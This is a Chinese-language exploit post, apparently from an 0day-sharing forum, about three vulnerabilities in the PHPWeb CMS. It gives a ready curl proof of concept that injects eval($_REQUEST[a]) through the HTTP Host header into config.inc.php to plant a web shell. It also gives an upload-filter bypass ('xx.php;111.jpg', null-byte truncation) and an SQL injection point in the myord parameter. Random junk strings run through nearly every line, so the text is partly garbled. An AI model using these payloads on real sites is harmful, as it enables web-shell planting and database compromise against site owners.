注入:
- c5 N8 U! ] b
% G9 Z* [9 i6 e! g' C之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码6 S; r; ^* ^4 ^* ^
$ D# ?. Y' ~/ a. d/ F0 A
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
; t: K3 @; K& \! @1 p9 }+ Q( u鸡肋2: 有一定安全常识的站长都会删掉 install 目录 ^. d, F$ F" O: w6 v% w2 ~
* o% Q P4 b2 p虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响 `" Z/ M; o& Z6 X* l
# a9 ]- o% l5 d, J1 O* p( Q分析:
4 h7 ?9 H+ _# R% @7 s 2 ?& u- V. N* k3 H7 G+ m
' i E6 e: V: B$ \9 L$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
_$ [3 S' j7 L. d; O " Y: T; G! s: ^* J
$filestr = fread(fopen($SysConfigFile, 'r'),30000);3 o& T! e5 _. y2 z# E- T
$filestr=str_replace(" ","",$filestr);
9 K* t3 W% u- o# y7 R) ]/ ^: \ $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
! N# ]( P' U' y( G# C $filestr=str_replace("DefaultDbName",$dbname,$filestr);
' F+ o9 w0 |: T5 N1 P. D/ j4 }; E $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);3 W6 R! T% X# h. C1 [/ l$ T; B' K
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
9 v e- r) q3 x! a) K8 Z: q" l; \ $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; v, J, F- ~$ u/ V" L; S) J. o $filestr=str_replace("DefaultTablePre",$tablepre,$filestr); p; F. S! U0 n* b$ H
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- u7 H& m- c+ l
2 |5 {" e+ o; o& q1 ~- W fwrite(fopen($ConFile,"w"),$filestr,30000);& s* E& D- g, D, [+ E
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 L8 ^5 f. v% v/ ?! {8 }6 I: c# @ - e3 z/ R' a2 P0 x l1 {8 p
poc:
% W" }5 B! f: w# I+ D8 J; b
; i+ X! Z* C6 Z/ p?
/ H* J! a8 b. g7 \0 F' `8 Q! m- Y) R1
& l( l; \# |# j# G" p: P3 scurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"% K, }8 B% ~ c4 o q* U
shell地址: /config.inc.php
6 J1 V/ _8 ?9 C& k( }1 ]! {跟之前的 phpcms一样 需要远程数据库/ }5 v+ ~0 e0 m) r0 ]4 y4 r( J5 \
7 ^* r {/ k7 ^1 f——————————————————–5 r- M9 w, b9 [
上传漏洞(需要进后台):
. o# p8 a( v1 L" w$ U# S& f漏洞文件: /kedit/upload_cgi/upload.php% S; @$ }( H, v' m4 ]+ g5 K1 T* I, A
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
" Z: Y" A! h/ } " @/ v; A4 _' I( N
$ {7 l8 ]- J, w+ |4 e$ f2 v<?php+ D* y) ]5 i* A3 d0 N1 L) T1 B
define("ROOTPATH", "../../");) [: ~6 h+ W* Z, L* h
include(ROOTPATH."includes/admin.inc.php");
7 o( Z2 N# k7 R/ v% s" I" @ NeedAuth(0);. m8 M( {, c {
/ D6 y5 k# D& x# r
$dt=date("Ymd",time());
' r, m' |& ?* R% K B9 H3 M2 z if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
" D1 o3 X; P5 e. j5 Q9 Z @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, F) ^8 Y0 w5 F6 e }
: l2 o+ A; \8 p" l( X, i! V
9 y: {3 y `6 D //文件保存目录路径
3 D; T' N: B. B: g- ^* ^. G $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
0 U9 c6 T& [7 ^( a echo $save_path;6 y, u. V* y& I# Q+ Y
//文件保存目录URL2 B( l* P. h: w3 q1 `
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
2 Z8 x% u5 O4 \" p! F* R/ c # J5 V9 l9 ^: [3 t3 W2 x0 D4 ]
//定义允许上传的文件扩展名! o; }, ^$ q9 u& |+ K1 \3 N' M+ }7 s
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀/ o& I1 q# H" M, i# _1 X
, g% q/ M4 A! k( M1 A# N+ o7 [4 q) j' `" y8 D //最大文件大小* e& q3 v4 G% b+ S7 u; I- A: `
$max_size = 1000000;; h* [1 Y* F+ j4 n' m! W" ?
" Y8 B2 ], [! ?, n8 F: f/ t5 l0 V //更改目录权限' T9 }+ ^. W3 H* ~# }6 T/ i& y
@mkdir($save_path, 0777);8 P& T+ m6 g5 e) j/ c
" ^- V- Y) M9 P //文件的全部路径; w) ^ U0 Q$ G
$file_path = $save_path.$_POST['fileName']; //保存文件名
9 U. P( X! m( O8 Z1 _& O ( v/ z2 m$ i% K/ x3 i5 s
//文件URL Z- _2 e! m" V4 `7 L# H9 @
$file_url = $save_url.$_POST['fileName'];) G' V6 K9 Y/ s: c: U8 `) ]: n3 S
//有上传文件时. }. L& @& k# h* Z& f
if (empty($_FILES) === false) {+ F: M w+ A. X
9 C3 Q. C* l( G6 F //原文件名: v U5 J+ X# x* w
$file_name = $_FILES['fileData']['name'];
. i% H4 t' A0 i //服务器上临时文件名
2 d5 B* S5 m) B- g" r $tmp_name = $_FILES['fileData']['tmp_name'];
7 K1 i4 @. A. A! Y+ O" k //文件大小7 u3 @7 }. U# t. U! M
$file_size = $_FILES['fileData']['size'];
/ A J d# y+ n+ m# ^0 d //检查目录2 W3 k; P; D; N( K6 ?
if (@is_dir($save_path) === false) {) E4 ]7 C. w2 s8 J: c; _" o
alert("上传目录不存在。");
5 C5 v% [0 g c8 m4 H7 o% X }
& r& E) v! M. ^5 R6 [ //检查目录写权限
1 Q" R8 a+ M3 A0 D( m# t6 p4 r! ]/ Y if (@is_writable($save_path) === false) {# Q9 _' E* z, W6 O# g; v
alert("上传目录没有写权限。");
$ m# u4 O: V5 v5 }/ c0 c6 ]# u }- F; h+ r6 p) m' N& x0 J) a! D6 Q/ Y
//检查是否已上传: m3 @0 _6 A, [8 B6 g
if (@is_uploaded_file($tmp_name) === false) {/ u8 f1 c' q; z0 Q2 i
alert("临时文件可能不是上传文件。");
/ H, H7 V1 h* i+ Q+ F2 h }
1 z A' `5 O/ l5 T! z //检查文件大小; u9 a7 U6 J2 D" Z. Y/ D6 i3 a% k
if ($file_size > $max_size) {
, a3 z. I+ N& x* ^% X) R( A5 S0 K alert("上传文件大小超过限制。"); R9 n3 V$ m0 ~: ?
}
' d( n) Y9 U% V# r; ]1 E/ u //获得文件扩展名7 O! j }' }6 t) y/ W
$temp_arr = explode(".", $_POST['fileName']);
* a- z& h- s- ~; H( O- z $file_ext = array_pop($temp_arr);
1 s: N( n: n" |% j( y2 n $file_ext = trim($file_ext);
% }7 i0 v* Q8 o" p $file_ext = strtolower($file_ext);7 n5 ^- V# i6 r. v" s, C& H3 x
* @ b' E* v( }1 V. h# F //检查扩展名 " o# H: v5 B* ?! l1 g8 D8 [# k5 F# q% Y
if (in_array($file_ext, $ext_arr) === false) { ( x+ P" g2 |: W4 O3 b$ L& _
alert("上传文件扩展名是不允许的扩展名。");; J9 D4 l& j5 w& S1 F6 r* b
}- Z6 L- U* |, i: n# S1 l
4 Z& ~& c! s( P! _9 d //移动文件 1 i3 i$ `( ~/ ` a
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^( }9 S( N, |3 ^
if (move_uploaded_file($tmp_name, $file_path) === false) {# m. c% J+ |" F' O% u# z! k
alert("上传文件失败。");
; C4 t" \) I( n/ V. j) l7 P& X }
+ G3 L0 h8 X4 n9 A) [8 H7 F
9 d0 w% r" O( c3 R" M5 }# }0 j @chmod($file_path,0666);
p- ~6 i6 n0 a- w) f& ?
3 J( `# q% i2 ^' w7 p ?>6 |3 L) E/ E$ ?0 Y m
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227 q3 j7 o5 s+ @
4 T' T2 M" d- Eapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 h+ p% H- o$ s9 V; T8 @ X L9 R& Y8 W
/ s1 J4 q& E+ ]" F
——————————————————
- B7 P! J/ U/ U5 S' K注入漏洞:
" q; ^3 P, [9 Z( x& S; Y$ _' K漏洞文件:search/module/search.php
# Y) P9 k8 b2 o7 C$ B/search/index.php?key=1&myord=1 [sqlinjection]+ e A8 \ `* [7 Y5 l
& j; E) d* H+ c
7 M4 n* @3 d0 q( N2 S4 h
<?php
2 e6 K2 r' R8 {) V! z // ... 省略 n 行...
( R" Q5 e) ~" G; M/ x6 [5 ] //第18行:
! j! i4 g& I2 M* d$ ^" F* \ $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响% p; n: a9 C) Q8 A, N1 E; o9 U
$page=htmlspecialchars($_GET["page"]);1 Z0 o3 R/ \+ e4 x* g
$myord=htmlspecialchars($_GET["myord"]);
{# Q+ I1 l- g4 y 8 Q8 r8 m) a& L+ Y. `
// ... 省略 n 行...3 i/ I7 F% i" G+ d8 m! `# ]/ h: j" i
$key,$myord 两个参数带入查询/ O/ X% r. x3 w
//第47行 $key:
! N F, }6 c! t% Z) l) {
, W3 L N' c: C $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
8 m" o: n: y+ J8 T1 v
8 M1 J' b5 G+ n, x1 o# w //第197行 $myord' u V" Y0 {9 p( c
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入8 h" |, B* D/ U3 p, J0 ~
- O1 d6 j' Z) d$ b
?>
) [- h7 u! }: j4 `, _) c) { |